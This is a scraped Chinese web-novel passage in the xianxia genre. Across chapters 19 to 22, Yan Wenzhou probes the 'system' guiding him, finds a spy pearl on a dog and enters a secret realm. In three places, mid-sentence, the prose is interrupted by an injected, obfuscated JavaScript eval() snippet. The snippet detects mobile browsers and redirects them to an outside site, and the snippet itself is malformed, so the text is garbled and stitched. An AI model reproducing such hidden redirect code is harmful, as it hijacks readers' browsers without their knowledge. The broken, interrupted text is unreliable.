“嘀——绑定对象进入筑基期,预测模型权限开放,任务更新中,更新进度10%,20%,30%……” “嘀——恭喜宿主完成优秀青年人才扶持计划之001号共同成长系统一阶任务,奖励将在稍后发放,请注意查收。” “嘀——主线任务偏移预警!宿主沉眠中,无法唤醒!即将分派给其他系统!002号系统呼唤中……嘀——信号缺失!003、004号系统呼唤中!无法响应!无法响应!” “嘀——主线任务已偏移!预测模型修改中,参数缺失!目前模型预测准确度75%!” …… 严文洲虚心求教,“统兄,这都是什么意思?” 系统声音冰冷,“钟慎筑基了,新任务来了,但主线偏了,未来的事我们也不确定了。” “统兄也会算卦?” “那是有大数据支撑、经过无数运算得出的未来!” 严文洲皱着眉琢磨了一阵,“所以,你先前要我做的那些任务,都是为了帮钟慎实现那个算出来的未来?” “对!” 听得那句掷地有声的对,严文洲非但没有被当作棋子使了的愤怒,反而多了种释然。想了想,他好整以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037427|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暇地问道:“那如今,钟慎的命格是改了?” “……大差不离。” “唔,玄天卷也算不出么?统兄不是玄天卷的分魂么?” 等了许久,严文洲也没有听到系统的回音,便放下狗,整理了衣袍,自己推门找李长安去了。 李长安没见到,说是正在闭关潜修,准备突破金丹期,只见到了李青云。只扫了几眼,李青云便挥挥手让他麻溜地回太玄峰去,还特意嘱咐他别忘了去杜衡面前溜达一圈。 严文洲应了,扭头招出白鱼刀往隔壁山头去。 半月不见,主殿前的灵田已然到了收获的时候,红彤彤的朱草挂满了拇指大的红果,看着格外喜庆。 朱草品质最好的时候只有成熟后三天,到了第四天,品质和价格都是断崖式下跌。黄时雨此时正指挥着纸人力士一点点收割着,满脸都是日头晒出来的油光,看起来格外沧桑。 一见熟悉的刀光,他眼神一亮,立刻伸手要打招呼,然而那刀光划得太快,上下眼皮一搭的功夫便溜进了主殿,人没招到,反而一不留神让力士弄坏了一串朱果。 黄时雨盯着那串烂了的朱果,又委屈又心虚,心下一狠,干脆摘下来直接往嘴里一塞。 唔,好甜。 主殿里,杜衡仍然悬在半空为仙像重新着色,听到脚步声也只是淡淡道:“醒了就好,三山离火的位置我已经想起来了,等会儿便给你画张地图。” 无论是外界如何,他似乎都会出现在这里。 日复一日,这一幕似乎已经延续了很久。 “师尊。”严文洲低低地叫了一声,话语跟着心跳一起沉默了下去,眼神却凝在了不远处的杜衡身上。 魇雾引起的梦境着实凌乱,勾起的回忆质量远不如他自己不经意间想起来的那些。可即便散乱不成形,即便只有一道模糊的背影,他也不会觉察错那道染血的身影是谁。 一遍又一遍,他几乎没有梦到过其他场景,他再也不能忘记那片蜿蜒的血痕。 严文洲全然没有想过,自己有一天会因为一个并不十分熟悉的人如此焦灼,一直到亲眼看见他就在面前才安心。 若是从前,他定会觉得是天方夜谭。 可事到如今,他才品味出其中的苦涩与欢悦。 严文洲幽幽叹了口气,随手找了个蒲团原地坐下,托着腮就这么一眼不眨地盯着杜衡。 他从前定然见过杜衡! 至于杜衡为什么不记得,毕竟是炼虚期,都不知活了多久了,忘掉一些只见过寥寥几次的人再正常不过了。要是记得每一个人,那才不正常。 话虽如此,严文洲还是心里发堵,眼神也微妙起来,以至于专心致志如杜衡都迟疑着回头,“徒儿,你……你是被什么人辜负了么?需要为师帮你算算你的桃花么?” 辜负?!八字还没一撇的事谈什么辜负! 严文洲本想拒绝,但转念一想,又觉得这样也不错,便恶狠狠地点了点头。 杜衡看着二徒儿面色虽略带凶狠,眼神却暗含期待,不由大为惊异——都一把年纪的人了,居然还对桃花这么期待,难不成是真忘记自己几岁了? 不过也对,要想骗过所有人,最好的办法就是先把自己骗过去。 他随手摸出几枚铜钱,很快便有了结果:“呀,怎么还是算不出……” 20. 玄天卷 是夜,后山竹林小屋,严文洲翘着二郎腿,躺在屋顶上看星星看月亮。 星月无际涯,渺远一如玄天卷。 自从万年前降世,玄天卷便一直安安分分地呆在中域——那片天柱坍塌后形成的蛮荒诡谲之地。 起码明面上是如此,除了偶尔排排榜单,它似乎也没干什么事,和它小道消息里仙人遗物的身份十分相符。 不。 严文洲忽地想起来,玄天卷还是干过大事的——三百年,一则金字预言高悬于几大仙门山门之上,直言某仙门高徒为天生孽种,后日将为魔道魁首。 当即便有人不远万里前往中域问个原因,原因不可知,只是证实了那金字预言确实是玄天卷所下。 那位被昭告天下的仙门高徒,便是后来的东极道主。 而后正如玄天卷预料,这位曾经的仙道弟子猖狂叛出师门,拜入前任魔尊谢渡门下,几十年后便踩着谢渡的头颅接过了魔尊之位。 每一句判词,都说得极准。 系统能做到的事情不多,但仅有的几项都十分古怪,他原先还只是有所怀疑,接到第一个偏离任务时,他便起了疑心——那气息与天道太像了。 系统仍然在装死,可不回答也是一种回答。 虽然不知道玄天卷在打什么主意,但严文洲对这种高高在上的玩意儿莫名地不信任。 头一回在说书摊儿上听到东极道主的事迹时,他就觉得,那倒霉蛋铁定是被玄天卷坑了,要是没有那狗屁预言,说不定现在还在乐呵呵当他的仙门高徒呢。 “嘀——参数已补充,预测模型更新中……” 心音里再度响起那道冷冰冰的声音,严文洲耐心地等着,直到听到一声:“嘀——预测模型已成功更新,目前预测成功率90%!” “统兄,恭喜,”顿了顿,他十分诚恳地补充了一句,“也许,我应该改口叫你卷兄?” “……不用!” 听着心海里系统略带暴躁的声音,严文洲知道这一茬算是过去了,便趁热打铁道:“统兄这是在主线偏离后算出了钟慎最新的命格?听先前的意思是,我能看?” 约莫是有所依仗,系统的心音陡然高傲起来:“那是,也不看看我们是谁!凭你现在的权限,只能看一部分。” 话虽如此,心海里却立刻展现出一幅密密麻麻的长卷来。 严文洲装模作样地赞叹了几声便仔仔细细看起来,越看,两条凌厉的剑眉便皱得越紧,眼中满是不可思议。 某年某月某日,钟慎筑基,适逢太清宗新月湾小秘境开启,经一番比试后夺得第十名的好绩,被选入入境名单,进入小秘境后,与常华等组队,接连获得灵草、灵兽等材料,机缘巧合之下获得小秘境主人留下的异宝清风明月炉,以及三山离火。出境后,积分力压钟赐,夺得众人瞩目。 某年某月某日,钟慎接取宗门任务,与药峰弟子倪秋月前往紫杉崖猎取金目鹰,不慎遭钟赐暗算,身中剧毒,幸得倪秋月舍身相救,才得脱困,而后两人情谊大进。 某年某月某日,钟慎入飞仙城采买,偶遇药王谷谷主,两人为同一株药材起争执,订下炼丹赌约,而后钟慎输,然得药王谷谷主青眼,得赠炼丹密录一份。 …… 除了钟慎,便是四洲闻名的好东西,以及大靠山。 别的也就算了,可他是怎么夺得太清宗门内试炼第十名的,太清宗小一半都是剑修,钟慎不是个炼丹师么? 严文洲欲言又止,憋着一口气先去看了更新过的任务。不看还好,一看险些被气得气机逆转。 给钟慎当陪练,给钟慎加油鼓劲,给钟慎科普做优雅男修的一百零八式,帮助他夺得佳人的欢心…… 这哪里是做人大哥,做他师傅都不过如此! 失控只是一瞬间,严文洲立刻反应过来,主线任务和支线任务取消了,三个任务框只剩下了两个,一个叫任务,一个叫日常。 察觉到严文洲的神识停滞在了任务框边上,系统得意洋洋地开口:“对宿主目前的状态以及任务进程进行了充分评估后,我们充分认为主线任务和支线任务的划分对任务的完成率造成了一定的负面影响,因此,在前不久的更新迭代中,我们使用了任务和日常的二分法,以便宿主更好完成任务。” “那你的惩戒权呢?” “……为保证宿主完成任务的主动性和积极性,在一定期限内不得重复动用。” 严文洲听出了其中的不情不愿,把心音扭曲出了十二分的冰冷,“统兄,你可要明白,我们的目标都是完成任务,帮助钟慎。藏着掖着可完全没有必要,还是说,你已经不打算把我当成盟友了?” 宿主装模作样吓系统不是一回两回了,可不知怎么的,它每一次听见宿主冷得掉冰渣的声音时都会涌上一阵深切的恐惧,就好像它下一刻就会被直接拉出来,剁吧剁吧切成片放火上烤了。 “三天,三天里不能再用,要是一个月内用了超过八次,下个月使用间隔就延长到至少七天。” “统兄,这才对么,”严文洲笑吟吟地应了一句,“明天我便去联系钟慎,好好教他怎么打架。”顿了顿,他又状似无疑地问道:“对了,能让我看看原来的预测么?” 另一幅长卷无声铺展开来,比之前那一幅长得多。 只一眼,严文洲便呆住了。 某年某月某日,钟慎历经千辛万苦,最终登上太清宗天梯,凭借极佳的心性被太清宗玉虚峰主明朔剑尊收为关门弟子。 剑尊、炼丹师…… 钟慎本应该是个剑修?! 不可置信之余,他一目十行,快速看到了长卷末尾:某年某月末日,钟慎渡过大劫,登仙。 “统兄,我们的任务就是协助钟慎飞升,对么?” “没错!” 严文洲不再多问,看向无垠天穹,眸光沉沉。 他忽然很好奇,如果没有自己这些助力,钟慎仍然会走上玄天卷预测出的这条路么?还是说,没有严文洲,也会有李文洲,钱文洲? 他还记得系统先前的说辞——只管修为,不管记忆。 那么对它来说,无论自己到底是谁都不重要,毕竟有诸多所谓的“奖励”在前面吊着,所有人都能被渐渐驯化成狗。 可,既然选中了自己,便一定会有理由。 严文洲深而缓地吐出一口气,翻身下屋顶,摸出一只玉简细致地刻下一些东西。 先前事情太多,他一直没来得及细想自己在平安镇天魔里看到的那些东西:另一场天魔祭里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037428|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为祭品的那个少年,还有那惊天一刀的主人,自己曾经的师尊。 得到江家传承后,他便发现自己仿佛刻在脑子里的刀法和垂云剑诀很像,几乎可以说是垂云刀诀,而另外一些小法门使起来也十分得心应手,像是早就学过了。但他十分肯定,自己修炼的心法并不是传承中的百川心诀。 难不成,他除了一位姓江的师傅外,还另有一位师傅? 至于那个少年…… 严文洲稍稍一想,便觉头痛。 由此可以推断,这少年定然是个关键人物。 严文洲揉了揉眉心,送了道可怜兮兮的心音给系统:“统兄,你能察觉到心魔么?” “嘀——请更换关键词询问。” 一听那死水般的腔调,严文洲更加头痛,“统兄,咱们打个商量,以后你不愿意告诉我就直说,不用再拿其他什么的搪塞我。” 系统大呼冤枉,“功能是开启了,只是权限不足以享受全部功能啊。” 什么权限、什么功能,玄天卷也不知从哪里学来的这些东西,一个个糊弄人得很。 不行就不行,这么麻烦作甚。 严文洲冷笑几声,忽听到外面传来类似于野兽爪子落地的哒哒声,手里的玉简顿时转了个花儿,离弦之箭一般射过去。 呜—— 长而低的呜咽声响起,严文洲顺着声音看过去,两只绿油油的眼睛鬼灯似的晃荡在竹林里,隐约还能看到一点金黄的皮毛。 居然是李青云买下的那条狗。 睡了半个月,狗都从凡狗变成了练气四层的灵狗。 严文洲招了招手,黄犬便屁颠屁颠地冲过来,尾巴都摇成了花儿,热情而谄媚。 到了光线下,这条被李青云赐名芦花的狗便显出它十分讨喜的本相来。四肢修长,尾巴有力,金黄长毛柔软浓密,配上一颗比例十分和谐的圆头,大概谁也不会觉得这狗能有什么坏心思。 和那双黑亮亮的狗眼对视了片刻,严文洲冷不丁摸上狗头,还没等芦花有什么反应,那双修长的手便滑到了后颈处,而后微微一凉,还有一点点疼。 呜呜—— 没理会芦花的撒娇,严文洲仔细看着手里这颗从狗皮里拔出来的透明珠子。珠子只有芝麻大小,透明得比钟慎的心思还要单纯,不仔细看根本看不出来。若用神识扫去,也毫无阻滞感,正是间谍必备的监听好物。 蜃珠。 还至少是地品的蜃珠,没有炼虚及以上的修为别想看透。 严文洲已然习惯了自己时不时冒出的常识,但这回,还有一种古怪的直觉一并跑了出来。 稍一停顿,他便在蜃珠上刻下一连串符文,灵力在刹那间组成一个古怪的标志,稍纵即逝,却打开了一道开关。 “……你这破珠子真没问题吧?我怎么感觉心慌得紧呢?” “能有什么问题,我……啊啊啊——怎么还有个人!?” “主、主上!?主上是你么?” “闭嘴!万一不是呢!?” “你闭嘴吧!除了主上还能是谁!?” 和一连串杂音同时响起的还有杜衡温润轻缓的声音:“徒儿,这么晚了,你在作甚?” 巧了不是,他这位便宜师尊正好是炼虚期。 21. 偶遇 严文洲确实是考虑过自己其实是东极道主的可能性的,但思来想去,还是觉得不可能——明朔剑尊剑下怎么可能留活口! 除了死,还是死。 再者,以东极道主和明朔剑尊之间的深仇大恨,挫骨扬灰、神魂俱灭更符合情理一点。 所以,纵然他确实跟东极道主扯上了关系,也最多只会是他手底下的小喽啰! 严文洲对此万分确信。 他随手将蜃珠递给杜衡,“师尊,这是我刚从芦花身上扯下来的留影珠,不知道它是从哪里沾上的,倒是挺有意思的。” 竹屋里尚未熄灭的烛火透出温暖的黄色光晕,将青年过于锋利的轮廓磨得圆润而无攻击性,眉梢眼角挂着的笑意毫无防备,眼中是惯常的信赖。 芝麻大的蜃珠微不可见,自己这徒儿只是向他伸出了手。 握住那只手,或许斩草除根,以绝后患,或许,也会错失了一份天大的机缘。杜衡幽幽叹了一声,接过蜃珠装模作样地看了半晌,点点头道:“果然有些意思。” 哒——蜃珠在木盒里敲出清脆声响,又是咔哒一声,连盒带珠被整个儿还给了严文洲。 另外一头的两个傻货早没了声响,耳边只有夜风入林的沙沙声。 严文洲眼也不错地盯着杜衡,仍然没觉得这位太易宗掌门脸上露出什么异色来——他似乎真的相信了自己的一通胡扯。 既然如此,严文洲便也神色自然地接过了木盒,问道:“师尊夤夜前来,可是有什么事么?” “我听青云说,新月湾小秘境已经归太清宗所有了,你若是要前去取三山离火只怕有些不方便,你可还有什么备选么?” “不瞒师尊,我那位朋友正是太清宗弟子。” 杜衡微微瞪大了眼,有些不敢相信。 “师尊,我当真有位太清宗的朋友,就是今年在飞仙城认识的,陶峰主也见过的。” “啊,这便好了,原是我多想了。” 严文洲觉得杜衡这话似有深意,偏偏他后面又紧跟了一连串好好休息、好好修炼之类的废话,甚至还多问了一句主殿的窗框打算什么时候换,得到了明日便动手的消息后便露出了一个满意的微笑。 随后翩然而去,只留给了他一个仙人似的背影。 样样都问了一遍,只是时机不合适。 严文洲颇有些遗憾地摇了摇木盒,蜃珠在盒子里滚出七零八落的声音,仍然没有人声。 虽然不知道杜衡为什么装瞎,但他肯定,这位精通卜算的师尊一定是算到了什么,才会留下一个疑似间谍的弟子。甚至于,连收自己为徒大抵都是算好了的事情。 设下禁制,严文洲转身安安稳稳回了竹屋,等坐定后才不紧不慢地打开木盒,重新打开通讯,“你们能听到么?” 香炉内香灰一点点聚集,蜃珠里许久才传来一道颤颤巍巍的声音:“能。”而后便再度没了声儿。 严文洲皱了皱眉,既然有回音,那便说明有意相谈,此时的沉默又算什么?逗着玩儿么? 约莫也觉得有些不妙,蜃珠那头传来另一道声音:“道友,劳烦问一句,你在何处?” “飞仙城。”严文洲张口就来。 那头传出一声惊呼,隐约还有些争执声,严文洲扫了眼香灰,正琢磨着这一回多久能听到回应,那边就传来一声:“你、你还记得你是谁么?” 声音小心翼翼,像是错了一点就会被上头的人千刀万剐。 很有传闻中魔道修士的做派。 严文洲眸子里多了些意味深长,慢条斯理地送出一句:“我自然是我。看样子,你们很明白我是谁。” 那头陡然传来一声巨响,蜃珠里的声音一下如水波般震颤起来,而后消失。 严文洲愣神了片刻,将蜃珠捻了出来丢到储物袋里去,而后关上盒子,也丢到储物袋里。做完了这一切,他才有功夫琢磨最后那句话——“别去新月湾。” 新月湾只是太清宗一个比较低级的秘境,旁人知道开启时间并不奇怪,但为什么不能去呢?难不成,是有魔修打算再来当一回搅屎棍? 再度展开玄天卷预测出的未来,他仔细看了一阵,哪里都没看见魔修两个字,连有关东洲的东西都没有。 真是没用。严文洲啧了一声,直白问道:“统兄,新月湾会出什么事么?” “这个……呃,可能是属于预测失败的5%。” 严文洲无奈叹气,顺道把送给系统听的心音也扭出了失望而担忧的叹息声。 竹舍内一时安静下来,乍一听心音,他似乎真是为钟慎不甚明朗的新月湾之行而忧心忡忡,可若有人此时走进竹舍,便会发现青年眼中闪烁的分明是志在必得。 等了许久,严文洲才状似无意地呢喃了一声:“唉,钟慎那傻小子才刚刚筑基,不会出事吧?” “呃这个……有、有那么多同门在呢!” “统兄,我既然领他一声大哥,总不能让他白叫。你是玄天卷分魂,应该有办法把我送进新月湾的吧?” 系统再度装死。 屋外高高低低的呜咽声已经响了一阵,芦花还没走。 严文洲本以为对方是用了什么秘法才能驱使芦花跑过来,但现在看来,这条前不久才入了仙途的狗多半是瞎了眼了。太易宗这么多人,怎么偏偏挑了个最可疑的。 话虽如此,严文洲还是一边摇头,一边把芦花放了进来。 一进门,这狗便熟门熟路地往塌下一握,两只水润狗眼亮晶晶地看着他,狗脸上写满了快乐单纯。 区区小狗,能做什么呢? 当然是运送蜃珠啊。 最有效的计谋,往往以最简单的形式运作。 严文洲嗤笑一声,熄了烛火,入定。 看着暖黄光晕消失,竹舍融进深沉夜色里,杜衡脚尖一点,转身消失在月色中。再出现时,他已然到了丹峰。 “我拿着画像去问了一圈,磨山村根本没有这两个人,芦花虽确实是猎犬,但早已走失多时。”李青云缓缓走来,挥手间落下一道禁制。 “没有便没有吧。”杜衡答得平淡,眉目间的温软笑意虽还留着几分,但愈发被清冷月色稀释,显得冷漠起来。 李青云闻言眉头微皱,“你是太玄经第一百零六代传人,若是你有什么三长两短,那传承怎么办?” “放心,我会提前留好传承的。” 李青云哽了一下,眼神中逐渐流露出些许杀气。然而,看看对面那张在月色中愈发出尘的脸,即便已经知道他是个什么样的大麻烦,她还是觉得心头的愤懑少了几分。 有些人,即便是充当观赏作用,也是赏心悦目第一名。 更何况,这位还有着实打实的战斗力。 “到底是你的劫数,还是当心着点,可别哪天你的好徒弟带着一帮人来把宗门给端了。” 杜衡微微一笑,“放心,他不会的。他眼下恐怕比你还担心呢。” 没等李青云琢磨出个什么,银发修士的身影便如雪片般消散。 “……担心?那老货会担心?!”她狠狠骂了一声,砰一声关上竹门。 太玄峰主殿内,长明灯亮了两盏,在高而阔的主殿内氤氲出朦胧的光线,杜衡越过仙像,推开了一道暗门。 门内是一排画像,每一幅都是一副人像,或写意或工笔,或正面,或背影,不一而足,而排在最末的是一幅空白的画卷,画卷下只摆着一组卦。 若有人稍识卜算,便会认出那是一则死卦。 杜衡视而不见,径自在画卷面前的蒲团坐下入定,银发逶迤一地,如大雪满山。 第二日,严文洲没在主殿见到杜衡。 “哦,师尊啊,他说要闭关一阵子,时间不定。怎么,他没跟你说么?”黄时雨一脸讶异,不慎又弄坏了一棵朱草,鲜红汁液顺着茎秆往下流淌,散发出香甜灵气。 严文洲诚实地摇了摇头,慢慢转过身,假装在帮忙收割朱草——他忽地见不得黄时雨那副不可置信的样子。虽说自己确实过于可疑,但用得着连闭关的消息都瞒着么? 不爽来得莫名其妙,且一点都站不住脚——都可疑了,瞒什么不都不奇怪么! 于是,黄时雨眼看着他名义上的师弟一点点冷了脸,收割朱草的动作愈发快,连劳役力士都比他差一截。 他本就是偏凌厉的长相,平时笑嘻嘻时还不明显,此时一挂脸,那张过于俊俏的脸立刻蒙上了一层危险,似乎一个不留神就会被他放冷箭。不自觉瞟了好几眼后,黄时雨还是觉得这么一张脸不应该干收割朱草这么辛苦的活儿,便开口道:“大、大哥,还是我来吧。你刚刚醒,要多、多歇息。” “若是师尊有什么消息,便及时通知我。”严文洲点点头,放下句话,便踩着白鱼刀往飞仙城而去。 三柱香后,严文洲停在了西市某处小巷口,“就这里?” “对!钟慎将于半炷香后出现,请宿主制造出偶遇的假象!” 飞仙城共有南北两个城门,分东南西北四市,东市多歌台舞榭,西市则主要是居民区,七绕八拐的小巷甚多,幸亏有系统的实时指引,要不然严文洲绝不会在这么个地方蹲守钟慎。 人多路杂,不管干什么都不好。 就比如说现在,他哪怕是寻个地方坐下都不得,若是做到人家屋檐上……他听着里面传来的中气十足的吵架声,遗憾地摇了摇头。 半小时后,他果然听到了身后传来一声熟悉的声音。 “大哥!” 严文洲回神,讶异道:“钟兄,你怎么在这儿?” 半月不见,这傻小子又长高了一点,许是因为筑基的缘故,面色红润,脸上病态的青白之色总算消失了。 他不好意思地笑了一下,连忙解释起了自己接了个宗门内的差事,要给飞仙城的玄甲卫炼制一批丹药,这回是来送丹药的。 系统提供的预测只有大事件的结果,像这种小事,玄天卷似乎一点不稀罕记录,系统虽说能借助职务之便给宿主提供一些便利,但也十分有限。严文洲这回真的有些惊讶了,“炼丹?你不是才筑基么?” “啊,只是些辟谷丹和回灵丹之类的小东西。” 钟慎话说得谦虚,但严文洲看得出来,这小子脸上分明写着“快夸我快夸我”。 严文洲是个慷慨的人,立刻便不遗余力地夸起他来来,什么好听说什么。他又生了一条极为灵巧的舌头,路过居民听了一阵,看向钟慎的眼神不由肃然起敬——好家伙,年纪轻轻就这么厉害,厉害啊! 索性,钟慎的脸皮还没那么厚,很快就红着脸打断了他,“对了,严兄的毛病好些了么?” 严文洲一顿,神色莫名地盯着他,缓缓摇头,“不太好,似乎更严重了,常常梦到一个人。” “……此人还活着?” “兴许。” 钟慎的神情终于凝固了,嘴角挣扎着抽动了好几次后果断转移了话题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037429|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“大哥,我听师兄说……” 小巷口终究不是什么谈正事的地方,很快,两人就坐到了云开酒楼,或者说,是换老板更名后的锦绣酒楼。 包厢内,钟慎终于停了下来,正觉口干舌燥手边便多了一杯茶,触手温热,刚刚好。 他感激地看了眼严文洲,忽而被那双含笑的眸子晃了眼,不由仓惶低头喝水,心想着幸亏严兄是个好人,要不然拿他那副好皮相骗人的话,不知能惹出多大的祸事。 严文洲却只是一如既往地扮演着一个好大哥而已。这傻小子方才一通念叨,其实只是在说一件事——平安镇。 贺循,也就是那位黑衣剑修,取出未明镜碎片之后便带着人径直回了太清宗,一路上再无风波。 这本该是大功一件,然而他却很快进了后山,说是闭关,但形同闭门思过,若非他是明朔剑尊唯一的徒儿,恐怕此时早就到了五雷峰的牢狱里了。 甚至于所有曾到过平安镇的人,都被仔细盘查了一遍。名义上,是为了避免域外天魔寄生,祸乱宗门。但,天魔虽饿,吃多了也会挑嘴的。 严文洲断定,这其中定然有鬼。 “你大爷的,我都还你钱了,你怎么还纠缠不放!?” “就这么点?!你——哔哔——” …… 正想着,隔壁传来争执声,开始还模糊些,几句话的功夫便愈发响亮,更有些桌椅碗筷打翻的当啷声。 钟慎好奇心起,不由侧耳听了起来。 须知,每个包厢都是有一定隔音阵法的,能吵成这样,定然是有相当大的嗓门! 咻——一只筷子直冲钟慎而去,顶端还带着窗户纸的一点白色残渣。 完全没想到隔壁两人当真大打出手,钟慎霎时便呆成了木棍儿,眼睁睁地看着筷子头在眼前愈来愈近,仿佛那一点白纸便是给他捎来的纸钱一般。 就在只差一点便真要见血了的时候,旁边却伸出一只手来,只轻轻一捏,利箭般的筷子便碎成了两截。 钟慎还未松口气,下一秒,中间隔着的屏风便四分五裂,随之而来的两道灵活的身影还有以及格外鲜活的叫骂。 钟慎已然来不及听他们到底在吵什么了,气劲冷不丁就窜出一道来,他在杯盘狼藉中躲得左支右拙,实在辛苦。 严文洲看得直摇头。 好在,两人的闹剧很快结束,各自铁青着脸赔付了损失,而作为被波及到的无辜客人,严文洲和钟慎也享受了免单的待遇。 换了一个包厢,钟慎呆呆地回想着方才发生的一切,脸上逐渐露出羞赧。 “大哥,我、我……”他期期艾艾地念了几声,“你先前给我的剑法,我还没有参悟,不知可否指点我几番?” 严文洲微笑,“小事。” 十枚中品灵石花得可真值当,打起来跟真的一样。不过钟慎这小子还挺上道的,有点自知之明。 敲门声又响,却是小二来上菜,“两位客官,这是另一位客官点的,说是二位的老相识。” 严文洲有些惊讶,正琢磨着是谁,门口就出现了一道颀长身影。 身穿太清宗弟子袍,一柄折扇挂在腰间,风度翩翩,看上去甚是风雅,就连声音都透着一股世家公子的味道,“道友,又见面了。” 温世宜?他怎么会在这儿? 严文洲的眼神有些微妙。不知是不是他的错觉,他总觉得这位温师兄并不如他的姓氏一般好相与。虽然披上了上好羊皮,但豺狼的腥臭味是掩藏不住的。 钟慎大吃一惊,“温、温师兄,你也来这里吃饭么?” 温世宜笑着点了点头,“想必你们还不知道吧,这锦绣酒楼后来被洗云峰的魏师叔盘下来了,如今是他的产业了。他最近诸事繁忙,我今日来便是来看看这酒楼情况如何的。” “啊是那位鸿辉阁的魏师叔么?”钟慎一脸不可置信。 “不错,就是那位魏师叔。” 温世宜是个贴心人,转身和严文洲介绍起来,“魏师叔单名一个昭字,乃是鸿辉阁少阁主,如今挂名在洗云峰做个闲散长老。” 严文洲微笑,“多谢。” 如此说来,便纯粹是凑巧,只是,温世宜这眼神可不像是客气一下到此为止的意思。 果然,这位洗云峰峰主的高徒下一刻便开口道:“上次见严道友风采,在下倾慕不已,不知是哪家门下?” 钟慎欲言又止。 严文洲一脸坦荡,“太易宗。” 温世宜迟疑了一下,眼中闪过些许茫然,却很快恢复了神情,“能有严兄如此人才,定然是宗门之幸。今日东市平乐坊有盛会,不知在下可有幸邀严兄同游?” 钟慎困惑地看着,不知道事情怎么发展到了这一步——不是都说温师兄眼高于顶,对修为比自己低的人从来都不屑一顾么,怎么跟传闻完全不一样?!难道是以讹传讹? 严文洲自然不会应邀,温世宜愈殷勤,便愈古怪。随口客套了几句,他便借口还和别人有约,招呼着钟慎堂而皇之地潇洒离去。 “客官,这、怎么办?”小儿看着热气儿还没散的菜,傻了眼。 “都倒了吧。”话音落下,温世宜已经迈出了包厢门。 不远处,严文洲折腾起了系统,“统兄,温世宜身上有你的同僚么?” “唔,这个……我、我看看。” “哔哔——还真有啊!优秀青年人才扶持计划之004号相爱相杀系统?!” 22. 新月湾小秘境 一个月后,新月湾小秘境正式开启,严文洲也顺风顺水地修炼到了筑基后期。 金丹遥遥无期,在这之前,与其说苦修,他更像是在一个空荡荡的池子里蓄水,但结丹这一步,他隐约感到了门槛。 尚缺一线机缘。虽然有些可惜,但他也知道,现下的修炼速度已然太快,比他早筑基三年的黄时雨也才刚刚到筑基后期,若是再快一点,恐怕那小子扭头就能为了结个金丹去闭死关。 按照系统给出的方位,眼睛一睁一闭,面前便从苍郁深林变成了无边碧波,若非严文洲动作快,他此刻已然做了落汤鸡。 顾名思义,新月湾大一半都是水面,此刻的落点正在水上,水波一直延伸到目力尽头,风景甚好,不过—— 严文洲嘴角笑意不减,白鱼刀陡然出鞘,快准狠地给一尺外跃起来的巨头怪鱼开了膛,一口细密尖齿最后只咬住了细雾般的雨丝。 腥臭浓稠的鱼血扩散在水中,顿时引来了更多怪鱼。 听着耳畔愈发激越的哗啦击水声,严文洲幽幽叹了一声,身形往后飞掠数十丈,刹那间已然飘摇而起,银亮刀光却划过一道圆弧,猛然向下斩去。 合抱粗的长蛇已然从水底高昂起墨黑的身躯,鳞片流光熠熠,其上隐约有玄妙花纹,显然不是凡品。 轰——一击之下,墨黑鳞片碎裂无数,露出其中鲜红血肉,浓重的血腥味顿时弥散开来。长蛇吃痛之下长嘶一声,猩红蛇信一收就要逃。 可下一刀已然到了。 时间似乎静止了一瞬,一线刀光快得不可思议,而先前那一刀似乎半分没有减损它的威势。长蛇像是失去了躲避能力,眼睁睁地看着眼前白光愈发灿烂。 哗啦一声,沉重的身躯砸回水中,激起一片水幕,獠牙怪鱼们纷纷逃散,一时间,水面上安静得只有缓缓扩散开的血色涟漪和淅淅沥沥的落雨声。 严文洲长舒一口气,对自己这两刀还算满意——隐约有了几分记忆中那位正牌师傅的架势。 “统兄,你可真厉害。”他毫不吝啬地夸了一句。 “哈,一般一般。” 听着系统掩不住骄傲的声音,严文洲也跟着笑了起来,只是眼神凉薄。当初问系统能否将他送进新月湾本是试探,没想到却真成了。 按照这个玄天卷分魂的说法,所有的秘境都有漏洞,只是大小位置不同而已,它不过是提供了一点微不足道的情报。 说得轻巧,实际上哪有那么容易?若是如此简单,各大名门世家紧紧攥在手里的秘境岂不都是筛子? 而且这落点…… “好厉害的刀!”有人兴奋地喝了一声。 这声音陌生,严文洲寻声望去,见是一位不认识的修士,便客气道:“道友谬赞。” 见严文洲没有赶人的意思,青年踩着飞剑,小心翼翼地靠过来,“道友可太谦虚了,方才这蛇妖相当于筑基圆满的实力,又有先手之利,能如此迅速地击败,恐怕能和曾经的大师兄平分秋色!” 严文洲似笑非笑地看了他一眼,“道友可是有什么打算?” 对方挠了挠头,圆脸上显出几分不好意思来,“嘿嘿,我就想问问道友要不要这蛇妖的鳞片,要是道友肯割爱,我愿出一百枚下品灵石!” 